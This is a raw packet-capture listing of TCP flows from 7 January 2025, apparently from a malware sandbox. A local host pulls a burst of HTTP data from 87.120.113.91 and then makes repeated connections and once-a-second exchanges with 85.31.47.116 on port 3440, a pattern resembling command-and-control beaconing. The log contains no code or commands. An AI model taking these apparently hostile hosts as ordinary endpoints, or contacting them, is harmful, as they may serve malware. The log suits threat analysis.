Jan 7, 2025 13:25:35.633085966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.633235931 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656229973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656238079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656255960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656263113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656275034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656280994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656294107 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656302929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656311035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656341076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656366110 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656366110 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656387091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656392097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656393051 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656404972 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656409979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656470060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656526089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656532049 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656533003 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656677008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656682014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656698942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656703949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656704903 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656711102 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656722069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656727076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656733990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656739950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656744957 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656774044 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656785011 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656791925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656816959 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656867981 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656873941 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656884909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656888008 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656892061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.656943083 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.656943083 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.657018900 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657032967 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657044888 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657049894 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657056093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657062054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657085896 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657089949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.657099962 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.657227039 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721455097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721481085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721489906 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721496105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721504927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721524000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721546888 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721560001 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721590996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721600056 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721600056 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721642971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721651077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721678019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721684933 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721693039 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721715927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721719980 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721723080 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721760035 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721761942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721770048 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721781969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721788883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721803904 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721832991 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721832991 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.721957922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721966028 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721972942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.721981049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722064972 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722067118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722071886 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722084999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722110033 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722115040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722117901 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722142935 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722147942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722162008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722191095 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722199917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722204924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722234011 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722244024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722249031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722264051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722270966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722273111 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722289085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722294092 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722326040 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722342968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722387075 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722436905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722441912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722467899 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722485065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722491980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722505093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722521067 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722578049 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722614050 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722620010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722626925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722640991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722702980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722703934 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722703934 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722711086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722723007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722728968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722737074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722768068 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722795010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722804070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.722831964 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722954035 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.722987890 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723048925 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.723067999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723074913 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723093987 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723107100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723113060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723123074 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.723155022 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723176956 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.723253965 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723261118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723366976 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723375082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723380089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723387003 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723392010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723397970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723402023 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.723402023 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.723436117 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723443031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723448038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.723556042 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.723592997 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:44.799696922 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:44.804541111 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:44.804615021 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:44.805326939 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:44.810399055 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.428776979 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.428939104 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:45.439318895 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.602792978 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.602977991 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:45.607812881 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.609344006 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:45.614226103 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.894711971 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.897613049 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:45.902456999 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:45.902542114 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:45.907375097 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:46.190047979 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:46.243674040 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:46.322865009 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:46.324470043 CET	49752	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:46.329277039 CET	3440	49752	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:46.329410076 CET	49752	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:46.329474926 CET	49752	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:46.334223032 CET	3440	49752	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:46.369374990 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:46.603789091 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:46.649966002 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:46.932857990 CET	3440	49752	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:46.933192968 CET	49752	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:46.938280106 CET	3440	49752	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.106631994 CET	3440	49752	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.107279062 CET	49753	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.112096071 CET	3440	49753	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.112198114 CET	49753	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.112306118 CET	49753	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.117016077 CET	3440	49753	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.149966002 CET	49752	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.603705883 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.649936914 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.733119011 CET	3440	49753	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.733268023 CET	49753	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.738104105 CET	3440	49753	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.910533905 CET	3440	49753	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.912070036 CET	49755	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.918476105 CET	3440	49755	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.923429012 CET	49755	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.926177979 CET	49755	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:47.932467937 CET	3440	49755	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:47.962485075 CET	49753	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:48.537808895 CET	3440	49755	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:48.538065910 CET	49755	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:48.542872906 CET	3440	49755	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:48.604581118 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:48.650083065 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:48.714169025 CET	3440	49755	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:48.715305090 CET	49757	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:48.720165014 CET	3440	49757	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:48.720243931 CET	49757	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:48.720376015 CET	49757	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:48.725310087 CET	3440	49757	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:48.759305000 CET	49755	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:49.329771042 CET	3440	49757	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:49.333760977 CET	49757	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:49.341460943 CET	3440	49757	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:49.510752916 CET	3440	49757	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:49.511651993 CET	49758	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:49.516498089 CET	3440	49758	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:49.516571999 CET	49758	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:49.516668081 CET	49758	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:49.521414995 CET	3440	49758	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:49.556226015 CET	49757	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:49.604538918 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:49.651334047 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:50.122400999 CET	3440	49758	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:50.122585058 CET	49758	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:50.127389908 CET	3440	49758	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:50.294920921 CET	3440	49758	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:50.337491035 CET	49758	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:50.605468988 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:50.650051117 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:51.605469942 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:51.649936914 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:52.606034040 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:52.649972916 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:53.606354952 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:53.649939060 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:54.607897043 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:54.649949074 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:55.607783079 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:55.649959087 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:56.607665062 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:56.650007010 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:57.608699083 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:57.649977922 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:58.608448982 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:58.650017977 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:25:59.609451056 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:25:59.649991035 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:00.609515905 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:00.649991035 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:01.609791994 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:01.649987936 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:02.612272978 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:02.665584087 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:03.611783028 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:03.665613890 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:04.611669064 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:04.665613890 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:05.612370014 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:05.665599108 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:06.612443924 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:06.665604115 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:07.613475084 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:07.665635109 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:08.613703966 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:08.665632010 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:09.613579035 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:09.665622950 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:10.614128113 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:10.665642977 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:11.613589048 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:11.665647984 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:12.614397049 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:12.665662050 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:13.614492893 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:13.665638924 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:14.615586996 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:14.665644884 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:15.616852045 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:15.665653944 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:16.617624998 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:16.665935040 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:17.618755102 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:17.665661097 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:18.619606972 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:18.665818930 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:19.619772911 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:19.667434931 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:20.619757891 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:20.665699959 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:21.621328115 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:21.665695906 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:22.622648954 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:22.665652990 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:23.624665976 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:23.665680885 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:24.624623060 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:24.666013002 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:25.625526905 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:25.665669918 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:26.627079010 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:26.681310892 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:27.626447916 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:27.681294918 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:28.626518011 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:28.681293011 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:29.626620054 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:29.681318045 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:30.627533913 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:30.681317091 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:31.628576040 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:31.681308985 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:32.627665043 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:32.681308985 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:33.628536940 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:33.681447029 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:34.630532026 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:34.681304932 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:35.631683111 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:35.681319952 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:36.631521940 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:36.681565046 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:37.633838892 CET	3440	49749	85.31.47.116	192.168.2.4
Jan 7, 2025 13:26:37.681325912 CET	49749	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:26:38.635840893 CET	3440	49749	85.31.47.116	192.168.2.4
